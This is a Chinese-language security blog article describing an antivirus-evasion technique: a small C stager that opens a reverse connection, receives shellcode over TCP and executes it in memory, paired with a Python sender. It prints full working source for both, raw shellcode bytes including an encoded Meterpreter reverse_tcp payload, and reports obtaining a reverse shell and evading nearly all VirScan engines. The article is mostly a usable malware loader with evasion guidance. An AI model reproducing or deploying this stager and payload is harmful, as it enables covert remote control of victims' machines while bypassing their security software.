标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-667] 作者: ecawen 发表于: [2017-09-20]
本文共 [1008] 位读者顶过
0x00 前言Shellcode是我们在做渗透或者进行漏洞利用时常用的一段代码,它能够以很小的字节数完成我们想要的结果,然而现在杀毒软件的识别能力也在加强,所以迫使我们要对Shellcode进行加密混淆等等操作达到免杀的目的,怎么能够减少Shellcode被杀的概率呢?下面我来介绍一种比较另类的利用方式。 0x01 科普搞Web安全的都知道,我们在渗透一个网站的时候,往往需要用到大马和小马。比如一个上传漏洞,如果漏洞上传点限制了文件大小,而我们又无法进行绕过时,那么就需要用到小马,利用小马进行无限制大小的上传我们的大马,从而进一步的控制服务器和利用大马进行提权。 道理一样,我们利用Shellcode进行渗透时,如果服务器安装有杀毒软件,我们没有经过免杀操作的Shellcode就不能在服务器上运行,进而我们需要对Shellcode进行繁琐的免杀操作,所以,受到web端启发,我们可不可以在无法过杀毒软件的情况下上传一个无害的小马呢?答案是可以的。 0x02 小马监听端测试环境: 1.本机win7 : 127.0.0.1(本机作为攻击机和被攻击机) 2.虚拟机kali : 192.168.19.128(shell监听) 首先我们利用recver_hander模块生成反弹监听小马
我们打开temp.cpp查看小马源码 //Project : <https://github.com/hu>cmosin/purelove //This file created with purelove .. //Compile : gcc temp.c -o test.exe #include <stdio.h> #include <winsock2.h> #include <Windows.h> #pragma comment (lib, "ws2_32") typedef struct sockaddr_in sockaddr_in; int sock_shellcode(char *shellcodes) { char *shellcode =shellcodes; DWORD why_must_this_variable; BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &why_must_this_variable); if (!ret) { return 0; } ((void (*)(void))shellcode)(); return 0; } int main() { Sleep(2000); WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData); SOCKET s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr_in sockaddr; sockaddr.sin_family=AF_INET; sockaddr.sin_port=htons(4444); sockaddr.sin_addr.S_un.S_addr=inet_addr("127.0.0.1"); connect(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR)); printf("***SERVER***"); while(TRUE) { while(TRUE) { char buffer[4096]; recv(s, buffer, 4096, NULL); if (buffer == NULL) { continue; } else { sock_shellcode(buffer); } } } printf("thins end up"); closesocket(s); WSACleanup(); getchar(); exit(0); }
这个小马,利用了反向连接监听方法,首先我们创建SOCKET套接字,设置远程连接端口和IP地址,这里就用本机进行演示,连接远程IP:127.0.0.1,远程端口4444 SOCKET s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr_in sockaddr; sockaddr.sin_family=AF_INET; sockaddr.sin_port=htons(4444); sockaddr.sin_addr.S_un.S_addr=inet_addr("127.0.0.1"); connect(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR)); 我们写一个死循环来监听远程发送过来的Shellocde,这里的数据内存要写4096,否则小马会因为接收的数据太大而退出,如果你的Shellcode很大,建议对数据进行打包发送和接收,当然还有异常处理什么的这里就不写了。 while(TRUE) { while(TRUE) { char buffer[4096]; recv(s, buffer, 4096, NULL); if (buffer == NULL) { continue; } else { sock_shellcode(buffer); //shellcode接收执行 } } } 下面来到shellcode执行部分,我们设置一个shellcode执行函数sock_shellcode(),我们用一个函数来进行内存保护VirtualProtect(),最后执行shellcode,((void (*)(void))shellcode)(); int sock_shellcode(char *shellcodes) { char *shellcode =shellcodes; DWORD test; BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &test); if (!ret) { return 0; } ((void (*)(void))shellcode)(); return 0;} 0x03 Shellcode发送端小马写好了,那么我们来写shellcode发送监听端,shellcode发送监听端我们采用python来写(什么语言无所谓)。
\#-*- coding: utf-8 -*- import os,sys from socket import * HOST = '0.0.0.0' PORT = 4444 BUFSIZ = 2048 ADDR = (HOST, PORT) sock = socket(AF_INET, SOCK_STREAM) sock.bind(ADDR) sock.listen(1) STOP_CHAT = False print "Hander Listening %s port:%s" %(HOST,PORT) while not STOP_CHAT: tcpClientSock, addr=sock.accept() print('Start Listening %s port %s.....') %(addr,PORT) while True: p = raw_input("send:> ") if p =="send": data = "" #shellcode存放 try: tcpClientSock.send(data) if data.upper()=="QUIT": STOP_CHAT = True break os_result = tcpClientSock.recv(BUFSIZ) except: tcpClientSock.close() break if STOP_CHAT: break print(os_result) tcpClientSock.close() sock.close() 我们一样,用一个socket套接字来监听4444端口,data变量用来存放shellcode,当然这里的shellcode过大,也需要对shellcode进行打包发送。 到了这一步,我们的小马和服务监听端就写好了。 0x04 Shellcode利用我们现在来测试一下,我们先使用messagebox模块生成shellcode,弹出的messagebox信息为”test”。
我们把shellcode复制到shellcode发送端里的data变量中,如下 \#-*- coding: utf-8 -*- import os,sys from socket import * HOST = '0.0.0.0' PORT = 4444 BUFSIZ = 2048 ADDR = (HOST, PORT) sock = socket(AF_INET, SOCK_STREAM) sock.bind(ADDR) sock.listen(1) STOP_CHAT = False print "Hander Listening %s port:%s" %(HOST,PORT) while not STOP_CHAT: tcpClientSock, addr=sock.accept() print('Start Listening %s port %s.....') %(addr,PORT) while True: p = raw_input("send:> ") if p =="send": data= "\x33\xc9\x64\x8b\x49\x30\x8b\x49\x0c\x8b\x49\x1c\x8b\x59\x08\x8b\x41\x20\x8b\x09\x80\x78\x0c\x33\x75\xf2\x8b\xeb\x03\x6d\x3c\x8b\x6d\x78\x03\xeb\x8b\x45\x20\x03\xc3\x33\xd2\x8b\x34\x90\x03\xf3\x42\x81\x3e\x47\x65\x74\x50\x75\xf2\x81\x7e\x04\x72\x6f\x63\x41\x75\xe9\x8b\x75\x24\x03\xf3\x66\x8b\x14\x56\x8b\x75\x1c\x03\xf3\x8b\x74\x96\xfc\x03\xf3\x33\xff\x57\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd6\x33\xc9\x57\x66\xb9\x33\x32\x51\x68\x75\x73\x65\x72\x54\xff\xd0\x57\x68\x6f\x78\x41\x01\xfe\x4c\x24\x03\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x54\x50\xff\xd6\x57\x68\x54\x53\x45\x54\x8b\xcc\x57\x57\x51\x57\xff\xd0\x57\x68\x65\x73\x73\x01\xfe\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x53\xff\xd6\x57\xff\xd0" try: tcpClientSock.send(data) if data.upper()=="QUIT": STOP_CHAT = True break os_result = tcpClientSock.recv(BUFSIZ) except: tcpClientSock.close() break if STOP_CHAT: break print(os_result) tcpClientSock.close() sock.close() 现在我们执行小马程序,对shellcode发送端进行连接,在连接成功后我们send发送shellcode
可以看到成功了!说明我们的小马程序没有任何的问题。在日常中,我们习惯使用metaspliot来进行攻击,那么我们就用metaspliot的payload来进行利用。 下面我们选择reverse_tcp模块生成shellcode编码。
同理,我们把shellcode放到shellcode发送端里的data变量中,如下 \#-*- coding: utf-8 -*- import os,sys from socket import * HOST = '0.0.0.0' PORT = 4444 BUFSIZ = 2048 ADDR = (HOST, PORT) sock = socket(AF_INET, SOCK_STREAM) sock.bind(ADDR) sock.listen(1) STOP_CHAT = False print "Hander Listening %s port:%s" %(HOST,PORT) while not STOP_CHAT: tcpClientSock, addr=sock.accept() print('Start Listening %s port %s.....') %(addr,PORT) while True: p = raw_input("send:> ") if p =="send": data= "\xeb\x18\x5e\x8d\x3e\x31\xc0\x31\xdb\x8a\x1c\x06\x80\xfb\x03\x74\x0e\x80\xf3\x05\x88\x1f\x47\x40\xeb\xef\xe8\xe3\xff\xff\xff\xf9\xed\x83\x05\x05\x05\x65\x8c\xe0\x34\xd7\x61\x8e\x57\x35\x8e\x57\x09\x8e\x57\x11\x8e\x77\x2d\x0a\xb2\x4f\x23\x34\xfa\x34\xc5\xa9\x39\x64\x79\x07\x29\x25\xc4\xca\x08\x04\xc2\xe7\xf5\x57\x52\x8e\x57\x15\x8e\x47\x39\x8e\x49\x15\x7d\xe6\x4f\x04\xd4\x54\x8e\x5c\x25\x04\xd6\x8e\x4c\x1d\xe6\x39\x4c\x8e\x31\x8e\x04\xd3\x34\xfa\x34\xc5\xa9\xc4\xca\x08\x04\xc2\x3d\xe5\x70\xf1\x06\x78\xfd\x3e\x78\x21\x70\xe7\x5d\x8e\x5d\x21\x04\xd6\x63\x8e\x09\x4e\x8e\x5d\x19\x04\xd6\x8e\x01\x8e\x04\xd5\x8c\x41\x21\x21\x5e\x5e\x64\x5c\x5f\x54\xfa\xe5\x5d\x5a\x5f\x8e\x17\xee\x8c\x58\x6d\x36\x37\x05\x05\x6d\x72\x76\x37\x5a\x51\x6d\x49\x72\x23\x02\xfa\xd0\xbd\x95\x04\x05\x05\x2c\xc1\x51\x55\x6d\x2c\x85\x6e\x05\xfa\xd0\x55\x55\x55\x55\x45\x55\x45\x55\x6d\xef\x0a\xda\xe5\xfa\xd0\x92\x6f\x0c\x6d\xc5\xad\x16\x85\x6d\x07\x05\x14\x59\x8c\xe3\x6f\x15\x53\x52\x6d\x9c\xa0\x71\x64\xfa\xd0\x80\xc5\x71\x09\xfa\x4b\x0d\x70\xe9\x6d\xf5\xb0\xa7\x53\xfa\xd0\x6f\x05\x6f\x01\x53\x52\x6d\x07\xdc\xcd\x5a\xfa\xd0\x8e\x33\x6f\x45\x6d\x05\x15\x05\x05\x53\x6f\x05\x6d\x5d\xa1\x56\xe0\xfa\xd0\x96\x56\x6f\x05\x53\x56\x52\x6d\x07\xdc\xcd\x5a\xfa\xd0\x04\xc6\x2c\xc3\x80\xf3\x70\xe9\xc6\x03" try: tcpClientSock.send(data) if data.upper()=="QUIT": STOP_CHAT = True break os_result = tcpClientSock.recv(BUFSIZ) except: tcpClientSock.close() break if STOP_CHAT: break print(os_result) tcpClientSock.close() sock.close() 对shellcode发送端进行反向连接,连接成功后,我们send发送shellcode到小马端进行执行。 我们用metaspliot的handler进行监听,我们使用的模块是payload/windows/meterpreter/reverse_tcp。
可以看到,在我们send发送shellcode后,成功在kali里获取到了反弹shell。 现在为了验证小马的过杀软能力,把小马上传到virscan进行杀毒引擎病毒扫描
VirSCAN.org Scanned Report :
Scanner Engine Ver Sig Ver Sig Date Time Scan result 只有两个杀毒引擎报毒,在这里有个问题,小马用的是gcc编译器进行编译,如果我换成其他的编译器的时候,拿去检测,没有一款杀毒引擎报毒,直接免杀全球,所以选择一个合适编译器很重要。 0x06 结束这种以小马的方式执行shellcode在系统中不会产生任何的文件,因为shellcode直接带入内存,所以也减少了被杀的风险,其实在现实中还需要考虑很多问题,比如杀毒软件的内存监控,网络通信监控等等,当我们面对对方杀软无能为力时,这不失为一种有效的方法。 |